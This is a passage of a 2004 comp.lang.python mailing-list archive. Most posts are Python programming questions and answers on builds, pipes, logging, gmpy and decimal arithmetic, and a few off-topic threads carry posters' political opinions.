3: numero='000000'+numero if len(numero) == 4: numero='00000'+numero if len(numero) == 5: numero='0000'+numero if len(numero) == 6: numero='000'+numero if len(numero) == 7: numero='00'+numero if len(numero) == 8: numero='0'+numero posicion=1 for i in [0,3,6]: var=numero[i]+numero[i+1]+numero[i+2] if int(var) != 0: res=tercia(var) if i == 0: result=res+" millones " elif i == 3: result=result+res+" mil " elif i == 6: result=result+res return result From proto at panix.com Fri Sep 17 00:19:24 2004 From: proto at panix.com (Walter Bushell) Date: Fri, 17 Sep 2004 00:19:24 -0400 Subject: Xah Lee's Unixism References: <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> Message-ID: In article , Patrick Scheible wrote: > jmfbahciv at aol.com writes: > > > It's apparently having the desired effect. The subject of > > the radio talk show last night was about the results of a poll > > where 41% of the people asked (New York state residents) believed > > that Bush and Co. knew that the WTC was going to be attacked and > > did nothing to prevent it. > > They can have a nice chat with the 40-some-odd percent of the people > who think Saddam was working with al-Qaida... > > -- Patrick Does this come before or after the debate between the born again evangelicals and the Hari Krisnas? -- Guns don't kill people; automobiles kill people. From a at a.invalid Wed Sep 15 11:53:18 2004 From: a at a.invalid (Timo Virkkala) Date: Wed, 15 Sep 2004 15:53:18 GMT Subject: The pythonic approach In-Reply-To: References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> Message-ID: Peter Hansen wrote: > Timo Virkkala wrote: > >> def thisReallyWorks(x): >> if x == "6$": >> return "$10 000" >> else: >> return x >> >> # or maybe >> >> investments = {"6$": "$10 000"} >> def thisReallyWorks(x): >> return investments.get(x, x) > > I really hope this is a contrived example, because if > I ever saw something like this in real code I'd barf. [snip] It was, very contrived. I just like writing (wannabe) funny replies to spams... :) The idea in the second one was to be extensible. Yes, the dict should be defined elsewhere, and yes, inline .get is (usually) better than hiding it in a function. Maybe I should just write real code and not bother with nonsense :) -- Timo "WT" Virkkala "In the battle between you and the world, bet on the world." From druid at vergesystems.com Fri Sep 10 18:29:40 2004 From: druid at vergesystems.com (druidEternal) Date: Fri, 10 Sep 2004 15:29:40 -0700 Subject: OpenGLContext problems Message-ID: <08ednZC7zYIgt9_cRVn-pw@comcast.com> Greetings all, New to graphics programming, and new to Python, but PyOpenGL looked like a good way to get my feet wet. Installed Python 2.2.3 on my XP machine, then installed PyOpenGL and OpenGLContext (with all the dependencies listed on http://pyopengl.sourceforge.net/documentation/installation.html), have been playing with the sample scripts in the 'tests' directory and the NeHe Tutorial Translations, but every time I try to run any of the scripts, I run into a page of warnings: ----- Warning: redefining field-type MFVec4f from to ----- and the traceback: ----- Traceback (most recent call last): File "nehe6.py", line 144, in ? MainFunction ( TestContext) File "C:\Python23\Lib\site-packages\OpenGLContext\gluttestingcontext.py", line 18, in main render = TestContext() File "C:\Python23\Lib\site-packages\OpenGLContext\glutcontext.py", line 26, in __init__ Context.__init__ (self) File "C:\Python23\Lib\site-packages\OpenGLContext\context.py", line 155, in __ init__ self.setupFrameRateCounter() File "C:\Python23\Lib\site-packages\OpenGLContext\context.py", line 245, in se tupFrameRateCounter from OpenGLContext import framecounter File "C:\Python23\Lib\site-packages\OpenGLContext\framecounter.py", line 4, in ? class FrameCounter( node.Node ): File "C:\Python23\Lib\site-packages\OpenGLContext\framecounter.py", line 11, i n FrameCounter count = field.newField( 'count', 'SFInt32', 1, 0) File "C:\Python23\lib\site-packages\OpenGLContext\vrml\field.py", line 47, in newField dataType = baseFieldTypes[dataType] KeyError: 'SFInt32' ----- Has anyone run into this before? Am I missing dependencies yet? I'm loving Python so far, and I'd really like to make this work! Any help appreciated... thanks From aleaxit at yahoo.com Wed Sep 1 05:15:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 11:15:29 +0200 Subject: about presicion References: Message-ID: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> mensanator at aol.com wrote: ... > > > > > I just tried it and found out it's not compatible with gmpy. ... > What I meant was the OP can't compare Decimal and gmpy unless he has > a version of gmpy that runs in 2.4. Or has a version of Decimal that > runs in 2.3. Or both 2.3 and 2.4 installed (they coexist). > I didn't mean it wasn't compatible. I meant you can't use the Sorry, I read "it's not compatible" as meaning what it says!-) > 2.3 version of gmpy in the 2.4 alpha that's currently available, Not the pre-built version, no. > so I can't experiment with 2.4 because all my interesting programs > are dependant on gmpy. Not everyone is a professional software > developer, some of us ignorant users need to be told that. I'm not sure what being a professional has to do with it -- it's more an issue of being or not familiar with the specific issues of C-coded Python extension on Windows. > > Unfortunately, compiling any binary extension module on Windows for > > Python 2.4 requires Microsoft's very latest C++ compiler -- I do not ... > How feasible is it that the end user could compile it himself? As long as the end user has a correctly installed and compatible compiler, running "python setup.py install" in the directory where the gmpy sources have been unpacked (and running it with the version of Python one wants to build for) is all it takes, so I would say "perfectly feasible". > Would the command line c compiler from the MS SDK suffice or do you > have to purchase the full .NET package? Would the source files need > a lot of tweaking? I predict no need for tweaking. I'm not sure what the support for the MS SDK compiler is currently -- maybe somebody with more current Windows knowledge can chime in? It used to be that the free C compiler had no optimization, thus the resulting gmpy would be substantially slower, but I don't even know if that is still currently the case or not. > > Not by magic -- I hope somebody out there owns all the needed > Microsoft > > software and is interested in compiling gmpy for Windows under Python > > 2.4 and making it available, but it won't be me. > > Unfortunately, us ignorant end users depend on the magic that is > supplied by others. But that doesn't mean we're unwilling to help. > I had no clue that there won't be any more Windows gmpy updates > unless someone volunteers to help. ...or unless I happen to get any kind of paid consultancy contract which requires me to have the latest MS tools, so I can justify purchasing them (and a PC to run them on, but that's the least of issues). A couple of years ago I still made a substantial amount of my income testing/delivering on Windows, but at the time Win98 (running on win4lin on my Linux box) and MSVC++6 were sufficient for my clients' requirements; and lately I've had not much demand for Windows work -- MacOSX, Linux and OpenBSD are it. But that could change, of course, e.g. if IronPython turns out to be as big as it seems it might become, I could get to consult on programs using it (and I doubt they'll use Mono -- MS dotnet will no doubt be required...). > I've got an XP machine and given a choice between abandoning Python > completely and getting a copy of the MS compiler... > > Of course, I realize that handing someone a box of wrenches doesn't > make them a mechanic. But we always have this newsgroup. I would > rather try and fail than see gmpy whither away from lack of interest. I'm quite willing to offer any help, short of purchasing tools I don't otherwise need, to make gmpy run on all sorts of platforms, whether I use them myself or not. > > > Were you aware that there is apparently a memory leak in the > > > gmpy.divm() function? Calling it several million time caused my > > > computer to run out of virtual memeory. Luckily, I was able to > > > work around it using the gmpy.invert() which didn't consume any > > > memory regardless of how many times it was called. > > > > No, I was not aware of that -- I'll look into it, thanks. I'm still not aware of any bug in gmpy because I can't reproduce your observation (on MacOSX 10.3.5, Python 2.3). Try this script...: import gmpy tot = 0 while True: n = input('How many more divm: ') if n<=0: break print '%d more...' % n, for i in xrange(n): gmpy.divm(3,7,9) tot += n print '...total %d' % tot I've used it to perform millions of divm calls and I monitor its virtual memory usage from the outside, and absolutely no leak shows up. Maybe it's in the Windows version of the underlying GMP library...? Can any other gmpy user try this out and report...? Thanks! Alex From cy.fbp.eryvtvne at ncbybtrglxn.pbz Wed Sep 1 08:56:11 2004 From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ) Date: Wed, 1 Sep 2004 14:56:11 +0200 Subject: Python cannot use SMTP... References: <70l2zhex3h4i$.vnwm6z03abbm.dlg@40tude.net> Message-ID: Wed, 01 Sep 2004 08:33:51 -0400, na comp.lang.python, Peter Hansen napisa?(a): > The first three characters are the critical part. If they aren't > a three-digit SMTP response code, your server is likely borken. > If you post the results, someone might have some advice, but it's > not likely this is a Python issue. via telnet localhost 25: ... Connected to localhost. Escape character is '^]'. db_connect: failed to connect to database: Error: Access denied for user: 'admin at localhost' (Using password: YES) 220 NS1.4U2.PL ESMTP Strange, because I can send emails from bash using mail command. I can send email with php scripts as well (using mail() function). php.ini file has empty settings for SMTP, so it uses default system settings... -- JZ From chrisks at NOSPAM.udel.edu Mon Sep 6 20:30:15 2004 From: chrisks at NOSPAM.udel.edu (Chris S.) Date: Tue, 07 Sep 2004 00:30:15 GMT Subject: Pipe Error on Windows? Message-ID: When I use os.popen3 to communicate through pipes under Windows, the data is only one-way, namely from child to parent. Below are example scripts. Is this a bug in the Windows implementation or am I missing something? Any help is appreciated. #---------------------------------- # controller.py import threading import sys import time import os (w,r,e) = os.popen3('engine.py') def receive(r): print 'staring recv' while 1: # get data try: data = r.readline() except Exception, e: print e break if not len(data): time.sleep(0.1) continue else: print 'controller received:', data print 'stopping recv' t = threading.Thread(target=receive, args=(r,)) t.setDaemon(True) t.start() for i in range(5): time.sleep(1) if not w.closed: print >>w, 'controller '+str(i) w.flush() print 'final:', ''.join(r.readlines()) print 'errors:', ''.join(e.readlines()) r.close() w.close() e.close() #------------------------- # engine.py import sys import threading import time outfile = open('enginetest.data', 'w') def receive(): global outfile print >>outfile, 'starting recv' while 1: # get data try: data = sys.stdin.readline() except Exception, e: print >>outfile, 'error:', e break if not len(data): time.sleep(0.1) continue else: print >>outfile, data print >>outfile, data print >>outfile, 'stopping recv' t = threading.Thread(target=receive) t.setDaemon(True) t.start() for i in range(4): time.sleep(1) if not sys.stdout.closed: print >>sys.stdout, 'engine',str(i) sys.stdout.flush() outfile.close() From marfadeut at gmx.de Sat Sep 25 18:43:50 2004 From: marfadeut at gmx.de (M. Faust) Date: Sun, 26 Sep 2004 00:43:50 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) In-Reply-To: References: Message-ID: M. Faust wrote: > > I got the same error with NumPy 23.3. > > Markus numpy_info: FOUND: define_macros = [('NUMERIC_VERSION', '"\\"23.3\\""')] include_dirs = ['D:\\Python23\\include'] running build running config_fc running build_src building extension "hello" sources f2py:> d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\hellomodule.c creating d:\dokume~1\faust\lokale~1\temp\tmp57wwzd creating d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src Reading fortran codes... Reading file 'hello.f' Post-processing... Block: hello Block: foo Post-processing (stage 2)... Building modules... Building module "hello"... Constructing wrapper function "foo"... foo(a) Wrote C/API module "hello" to file "d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src/hellomodule.c" adding 'd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c' to sources. adding 'd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src' to include_dirs. copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.c -> d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.h -> d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src running build_ext No module named msvccompiler in scipy_distutils, trying from distutils.. customize MSVCCompiler customize MSVCCompiler using build_ext 0 customize CompaqVisualFCompiler customize CompaqVisualFCompiler using build_ext building 'hello' extension compling C sources D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe /c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id:\dokume~1\faust\l okale~1\temp\tmp57wwzd\src -ID:\Python23\include -ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c / Fod:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.obj fortranobject.c d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' error: Command ""D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe" /c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id :\dokume~1\faust\lokale~1\temp\tmp57wwzd\src -ID:\Python23\include -ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src \fortranobject.c /Fod:\dokume~1\faust\lokale~1\temp\tmp57wwzd\src\fortranobject.obj" failed with exit status 2 From indigo at bitglue.com Thu Sep 2 10:53:38 2004 From: indigo at bitglue.com (Phil Frost) Date: Thu, 2 Sep 2004 10:53:38 -0400 Subject: namespace question In-Reply-To: References: Message-ID: <20040902145338.GA9040@unununium.org> I'm not sure I understand what you are asking, but maybe globals() is what you want? On Thu, Sep 02, 2004 at 01:52:46PM +0000, Elaine Jackson wrote: > I would like to be able to write a function f, which will live in a module M, > and will call a function g, such that, when f is imported from M into the > interpreter, and invoked there, its invokation of g will return the > interpreter's global namespace. Is there a way to do this and, if so, how? > Muchas gracias for any and all assistance. > > Peace From ed at leafe.com Mon Sep 6 12:59:19 2004 From: ed at leafe.com (Ed Leafe) Date: Mon, 6 Sep 2004 12:59:19 -0400 Subject: wxSizer: Define sizer hierarchie before putting controls in or vice versa? In-Reply-To: <39cbe663.0409050623.5cef2d4d@posting.google.com> References: <39cbe663.0409050623.5cef2d4d@posting.google.com> Message-ID: <17FCBB5C-0026-11D9-A726-003065B11E84@leafe.com> On Sep 5, 2004, at 10:23 AM, Piet wrote: > Or doesn?t it make any difference and all > the sizes and sizers are calculated anyways when the > wx.Window.SetSizer(wx.Sizer),wx.Window.SetAutoLayout(True) and > wx.Sizer.Fit(wx.Window) functions are run before before the window is > finally made visible? In my experience, it doesn't make any difference. Perhaps there is a minor performance advantage one way or the other, but not enough for me to ever worry about. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From michael at hobbshouse.org Tue Sep 21 19:32:14 2004 From: michael at hobbshouse.org (Michael Hobbs) Date: Tue, 21 Sep 2004 18:32:14 -0500 (CDT) Subject: Why not FP for Money? Message-ID: <51147.209.46.8.140.1095809534.squirrel@mail.hobbshouse.org> > What am I missing here? At the most fundamental level, the problem is that 2 or any power of 2 cannot be evenly divided by 10. Let me explain... Every currency system that I know of uses decimal fractions to represent cents, shillings, etc. Therefore, to accurately represent precise currency values, one needs to either use the decimal system, or a system that can precisely map to the decimal system. Binary, unfortunately, is *not* such a system. To represent one half in decimal, you would write 0.5 because 5 * 2 = 10; carry the decimal = 1.0. To represent one half in binary, you would write 0.1 because 1 * 10 = 10; carry the decimal = 1.0. Following the same exercise, to represent one fourth in decimal you would write 0.25 because 25 * 4 = 100; carry the decimal = 1.0. To represent one fourth in binary you would write 0.01 because 01 * 100 = 100; carry the decimal = 1.0. The problem comes when trying to represent one tenth. Again, to represent one tenth in decimal you would write 0.1 because 1 * 10 = 10; carry the decimal = 1.0. To represent one tenth in binary, however, you would write 0.110011001100110011001100 (and so on) because two is not evenly divisible by ten. Therefore, there is no number that can be multiplied by 1010 (ten) to yield 1, 10 (two), 100 (four), 1000 (eight), or any other multiple of two. We often encounter this same problem when trying to represent thirds in the decimal system. Since 10 is not evenly divisible by 3, we have to approximate one third by writing 0.33333333333333 (and so on). The end result is that you cannot use binary fractions to precisely represent decimal fractions. To represent decimal fractions in a binary system, you first need to shift the decimal point so that there is no more fraction and then work from there. From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org Fri Sep 10 19:33:21 2004 From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan) Date: Fri, 10 Sep 2004 23:33:21 -0000 Subject: Xah Lee's Unixism References: <1ctshc.kd52.ln@via.reistad.priv.no> Message-ID: <10k4ee1l5tavtf9@corp.supernews.com> # I just don't get it. The stated agenda is either misstated, or grossly # misimplemented. You haven't been listenning carefully enough. The agenda is to destroy the UN. Neo-conservatives recognise that if the UN becomes powerful enough to deal with people like Saddam Hussein, then it can deal with Bush as well. People like Kissinger are still running around as big shots in America while other countries consider him a war criminal. There are actually idiots that believe the US will remain the most powerful military forever (or until God ends the world a few years from now). The rest who know that power is fleeting have two options: construct a world of comprehensive cooperative political structures, or batter any possible opponents so they cannot attack the eventually weakenned US. The first choice was the one (more or less) followed by the US since about 1945 through 2000. It has a long history of success behind: while not yet of that scale, the notion of uniting disparate political units to a larger whole for mutual security and mutual trade has worked time and time again: modern England out of the old feudal lords, or the US out of thirteen colonies. Up side: long term peace and stability for your grandchildren. Down side: your own power is eclipsed by the centralised power. The second choice has been followed by the US since 2001. Again there is a long history behind, always ending in failure: Persian empires, Roman Empires, Chinese empires, etc. You can never inflict enough damage on your opponents so that once you do weaken they cannot strike back and eviscerate your corpse. Up side: you continue to live in wealth and luxury as long as you die before the bill comes due. Down side: your grandchildren will curse your name if they survive. So why follow a course known to end in disaster? Pride? Greed? Delusion that the end of the world is nigh and God will forgive warmaking and genocide? There is a second agenda which is also being implemented successfully. Conservatives want to dismantle government because it interferes with their private pursuit of profit and power (see also Miliken and Quatrone). Actually repealing the legal framework has been unsuccessful: no matter how appealing their claims about taxes and regulation, when push comes to shove, most people want a government that's powerful enough to provide for the sick and old, stop quacks from killing patients, stop manufacturers from killing customers, and to have water and air that are not fatal to touch. So since 1980 the conservatives still whine about big government, but they are quite happy to increase the government size and expenditure. While cutting taxes. The net effect is a government that is increasingly in debt. The long term goal is to get the government so heavily indebted that it can no longer borrow money. Then it will collapse of its own dead weight. -- SM Ryan http://www.rawbw.com/~wyrmwif/ No pleasure, no rapture, no exquiste sin greater than central air. From steven.bethard at gmail.com Thu Sep 23 16:55:07 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 20:55:07 +0000 (UTC) Subject: Unexpected result. References: Message-ID: Andrew Dalke mindspring.com> writes: > >>> for i in range(5): > ... class Spam: > ... for i in "ABC": > ... print i, Wow, that's an awesome abuse of classes. How cool! =) Steve From m.a.r.k at gmx.de Mon Sep 27 12:42:58 2004 From: m.a.r.k at gmx.de (Markus) Date: Mon, 27 Sep 2004 18:42:58 +0200 Subject: [Mac OS X] How to create double-clickable Python scripts Message-ID: Hello, I've written a couple of Python scripts on OS X that I would like to start from the Finder by doing a double-click on them. I guess I have to create a Package. Does anybody know an easy way to create such a package? Or where can I find more information about how to do this manually? Thanks, Mark From abra9823 at mail.usyd.edu.au Sun Sep 5 10:39:58 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Mon, 6 Sep 2004 00:39:58 +1000 Subject: simple question Message-ID: <1094395198.413b253e46462@www-mail.usyd.edu.au> hi! i have created a logger self.logger = logging.getLogger('smsapp') hdlr = logging.FileHandler('logs/smsapp.log') formatter = logging.Formatter ('%(asctime)s %(levelname)s %(message)s') hdlr.setFormatter(formatter) self.logger.addHandler(hdlr) self.logger.setLevel(logging.DEBUG) when i log an error self.logger.error("Illegal date index, " str(dateIndex)) i get an error in my code Traceback (most recent call last): File "/usr/local/lib/python2.3/logging/__init__.py", line 674, in emit msg = self.format(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 567, in format return fmt.format(record) File "/usr/local/lib/python2.3/logging/__init__.py", line 362, in format record.message = record.getMessage() File "/usr/local/lib/python2.3/logging/__init__.py", line 233, in getMessage msg = msg % self.args TypeError: not all arguments converted during string formatting dateIndex is an int thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From alexander.hoffmann at netgenius.de Mon Sep 6 10:28:15 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Mon, 6 Sep 2004 16:28:15 +0200 Subject: profiling all threads Message-ID: <200409061628.15072.alexander.hoffmann@netgenius.de> Hello, I would like to profile a multi-threaded application with the profile module under Pyhton 2.3.4. Unfortunately the result only includes information about the main. This is how I invoke the profiler: import profile profile.run('main ()', 'data.prof') and afterwards : import pstats p.sort_stats('name') p.print_stats() Am I doing something wrong ? Thanks to all in advance ! Alex From egbert.list at hccnet.nl Sat Sep 25 16:57:35 2004 From: egbert.list at hccnet.nl (Egbert Bouwman) Date: Sat, 25 Sep 2004 22:57:35 +0200 Subject: Why subclass Borg ? In-Reply-To: <1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com> References: <4151f867$1@nntp0.pdx.net> <1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com> Message-ID: <20040925205735.GA3261@mirk.lan> On page 208 in the cookbook Alex seems to say that the Borg class should be subclassed. I don't see the necessity. Just take the original four-lined Borg(), give it a suitable name, maybe add some arguments, add oher methods, and instantiate it. Or am I missing something again ? egbert -- Egbert Bouwman - Keizersgracht 197 II - 1016 DS Amsterdam - 020 6257991 ======================================================================== From flacco002 at spambadTwilight-systems.com Wed Sep 8 19:27:38 2004 From: flacco002 at spambadTwilight-systems.com (flacco) Date: Wed, 08 Sep 2004 19:27:38 -0400 Subject: container-indepentent iteration code ? Message-ID: <10jv5ad1sjgep4d@corp.supernews.com> is there a way to iterate over the *values* in a list/dict/whatever, regardless of whether it's a list, dict, or whatever? ie, the iteration code will not know beforehand what kind of container it's getting. From me at privacy.net Sat Sep 25 14:20:47 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 11:20:47 -0700 Subject: Why not FP for Money? References: <10l9je9993jlfa3@corp.supernews.com> Message-ID: [Concerning Decimal's behavior re precision retention:] Jeff Shannon wrote: > Personally, I think that it makes the most sense (i.e., will result in > the fewest surprises) if the greatest possible number of places is > preserved. > > [snip the rest of Jeff's excellent comments and examples] +1 I agree with Jeff. (Although, I'll allow that more discussion may shed additional light on this issue.) It seem to me that Decimal should not be conflated with, or restricted to, the concept of "real-world measurements" wherein retention of only partial precision may be warranted. These are orthogonal things. (I'm not saying that such conflation is happening; I'm only adding my thoughts on the subject.) Note that even in the "measurements" problem-domain, error-analysis gets *quite* tricky in complex trains of calculations such as encountered in my field of land surveying, and more generally, in most science and engineering calculations.[1] "Proving" how much precision should be retained in real-world calculations involving "observations" (as surveyors and geodesists call such) can be quite difficult if not outright intractable. A common strategy is to make a best-guess attempt at error-analysis (an approximate analysis, as it were), and then retain more (sometimes much more) precision, and round after the calculation train is finished. And to reiterate this point: There may also be a need for exact decimal numbers used in calculations not involving observations where any truncation or rounding would represent an undesirable loss of information and could lead to problems such as Jeff described -- as well as other difficulties. I'm in favor of Decimal retaining the maximum precision (as specified in the user's current Context) and then let the user round after the calculation train is completed (using Context's ample ability for such) as best as can be determined from the error analysis -- if such analysis and rounding is appropriate. This would keep Decimal as general as possible, and therefore, usable in the widest range of use-cases. For what it's worth, I also think the decision not to have a Decimal constructor for floats is the right one -- for reasons related to points in this post, and also, for reasons which others have already explicitly pointed out. (As to Decimal literals, I'm not finding a need for such in my COGO sketches -- the normal constructors from strings or ints seems to work fine for my use-cases. However, I can see that there may be some users who find the current constructors slightly verbose[2] or "less readable" -- more discussion may help determine the way forward re this particular issue.) (I also don't think that Decimal should be thought of as *only* a "money" type; but this latter point already seems to be the consensus.) Richard Hanson _______________________________________________ [1] The _HP-15C Advanced Functions Handbook_, (C) Hewlett-Packard Company, 1982 has an excellent introduction to error-analysis in its appendix "Accuracy of Numerical Calculations." More complete discussions can be found in advanced surveying texts. [2] A rather obvious simple reduction in typing can be realized by using "from decimal import Decimal as D" which makes the constructor from strings merely "D('8147307403831077403041.740817404170342')" for example. (Sans my double-quotes, of course). -- sickoldfartnewsguycom From julioperezsosa at yahoo.com Sun Sep 19 19:53:38 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 19:53:38 -0400 Subject: python is going to die! =( References: Message-ID: Jeremy Bowers wrote: > On Sun, 19 Sep 2004 17:58:44 -0400, julio wrote: >> It realy makes no sense , no sense at all. > > C# is that-a-way ---> > > HTH. > So am i missing something ? are any of my arguments wrong ? again : monodevelop is free sharpdevelop is free and is going to be ported to linux next version From me at privacy.net Sat Sep 25 22:47:30 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 19:47:30 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: [Attributions fixed, slightly. Some kind of strange quantum entanglement seems to be going on here, somehow... Strings... er... threads broken and attributions teleporting... ;-) ] Stephen Waterbury wrote: > (sorry, this looked like too much fun ... :) Me, too! ;-) > > "Ville Vainio" wrote in message > > > > > A thing like "probability" just can't exist in the ultimate Reality. No comment. :-) > [...] QM may be the ultimate framework > for an observer/observable-based theory of physics, But, but... How can *QM* be the ultimate framework? -- it doesn't include gravity (GR). > and since > the observer/observable paradigm is fundamental to science, Are you sure about that? ;-) > it might be "as good as it gets", in which case an "ultimate > reality" that is meaningful in the context of the scientific > method might well require probability. Leaving aside the determinate-indeterminate question, a case could be (iconoclastically) made that the observer-observable "paradigm" was *excluded* not *included* by GR and QM. You might say that GR and QM take the "observer" *out* of the picture. In GR you could say that the observer is transformed away -- it's all relative, and all that. Likewise, in QM it seems that a robot taking measurements is sufficient to "collapse the wave function." Of course, you could also argue that robots are people, too. ;-) The current work by physicists in all this is to find a way to *combine* both QM and GR into a unified theory which works at all scales and matter-energy densities. And then, what's all this dark matter and dark energy stuff?... ;-) To slightly paraphrase Richard Feynman, no one even understands *quantum mechanics*. :-) > Of course, if you want to transcend observer/observable, you > have to go beyond science, and into the realm of "Cosmajoonity" > (see Freeman Dyson's delightful book "Disturbing the Universe" :). Ultimately, many things may not be knowable in principle. How can "all" be knowable to humans who are part of the very "system" being considered, i.e., the cosmos? :-) all-in-fun'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From gomoSINSPAM at datafull.com Sun Sep 12 11:25:32 2004 From: gomoSINSPAM at datafull.com (=?iso-8859-1?q?Gonzalo_Sainz-Tr=E1paga_=28GomoX=29?=) Date: Sun, 12 Sep 2004 12:25:32 -0300 Subject: MD5 and SHA cracked/broken... References: <7xacvwn01v.fsf@ruckus.brouhaha.com> Message-ID: On Sat, 11 Sep 2004 11:16:28 -0700, Paul Rubin wrote: > MD5 and SHA-0 had collisions found. I don't think so. Would you mind posting a link? From nelson at monkey.org Fri Sep 24 11:45:21 2004 From: nelson at monkey.org (Nelson Minar) Date: Fri, 24 Sep 2004 15:45:21 GMT Subject: Python and Sybase References: Message-ID: David Rysdam writes: > What module is most recommended for accessing Sybase from Python? > This one: http://www.object-craft.com.au/projects/sybase/sybase/ ? While we're here, is there a free module for accessing SQLServer from Python? Last I checked this Sybase driver was the only option. From gerrit.muller at embeddedsystems.nl Tue Sep 21 03:56:09 2004 From: gerrit.muller at embeddedsystems.nl (Gerrit Muller) Date: Tue, 21 Sep 2004 09:56:09 +0200 Subject: python-dev Summary for 2004-08-16 through 2004-08-31 In-Reply-To: References: Message-ID: Brett C wrote: > python-dev Summary for 2004-08-16 through 2004-08-31 <..snip..> > .. _last summary: http://www.python.org/dev/summary/2004-08-16_2004-08-31.html > .. _original text file: http://www.python.org/dev/summary/2004-08-16_2004-08-31.ht these links don't seem to work? Is this report already uploaded? regards, Gerrit -- Gaudi systems architecting: From markus.cl at gmx.de Mon Sep 20 23:09:56 2004 From: markus.cl at gmx.de (Markus Dehmann) Date: Mon, 20 Sep 2004 23:09:56 -0400 Subject: Python for Perl programmers? References: <414f98a5@news01.argolink.net> Message-ID: <2r9kfhF179tliU1@uni-berlin.de> John Zhuang wrote: > Perl To Python Migration > By Martin C. Brown > > Publisher : Addison Wesley > Pub Date : November 01, 2001 > ISBN : 0-201-73488-5 > Pages : 320 Is a 2001 book still okay? Or would I have to learn a new python version afterwards? Thanks Markus From exarkun at divmod.com Mon Sep 20 11:31:45 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Mon, 20 Sep 2004 15:31:45 GMT Subject: unsigned long to float. In-Reply-To: Message-ID: <20040920153145.29723.992972115.divmod.quotient.4123@ohm> On Mon, 20 Sep 2004 10:25:53 -0500, "kingjames" wrote: >I have a c30 to ieee float converter algorithm that takes binary data from a > c30, does some bit munipulation and stores the answer (i'm using unsigned > longs for the processing). When I come up with the answer, if I was in C or > Fortran, I could use either a union or equivalence to see the number in > floating point rather than the representation in unsigned long. I have > found no equivalence in python of union or equvalence. I could take the > unsigned long, write it to a binary file and read it back in as a float. > This would work, accept I do not want the overhead of io. What can I do to > see this unsigned long as a float? http://www.python.org/doc/lib/module-struct.html Jp From wangjc101 at yahoo.com Wed Sep 29 23:07:37 2004 From: wangjc101 at yahoo.com (Jhy-Chun Wang) Date: Wed, 29 Sep 2004 20:07:37 -0700 Subject: 64-bit Python 2.3.latest on HP-UX 11.23: success In-Reply-To: References: Message-ID: Matej, Could you send me the Makefile and pyconfig.h you used for 64bit build? although I will be trying it on Solaris, anything related to 64bit build helps. Thanks, Jhychun Wang wangjc101 at yahoo.com Matej Kenda wrote: > Hi all, > > This message is to let you know that I have successfully compiled the latest > sources from the 2.3 branch on the abovementioned OS using the HP ansiC > compiler version 5.50. > > Final status: success, it works fine > > --- > > The procedure: > > 1. Get the latest sources of 2.3 > > cvs -z3 -d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python co -r \ > release23-maint python > > 2. Install the 64-bit OpenSSH downloaded from HP > > 3. Run configure script with additional 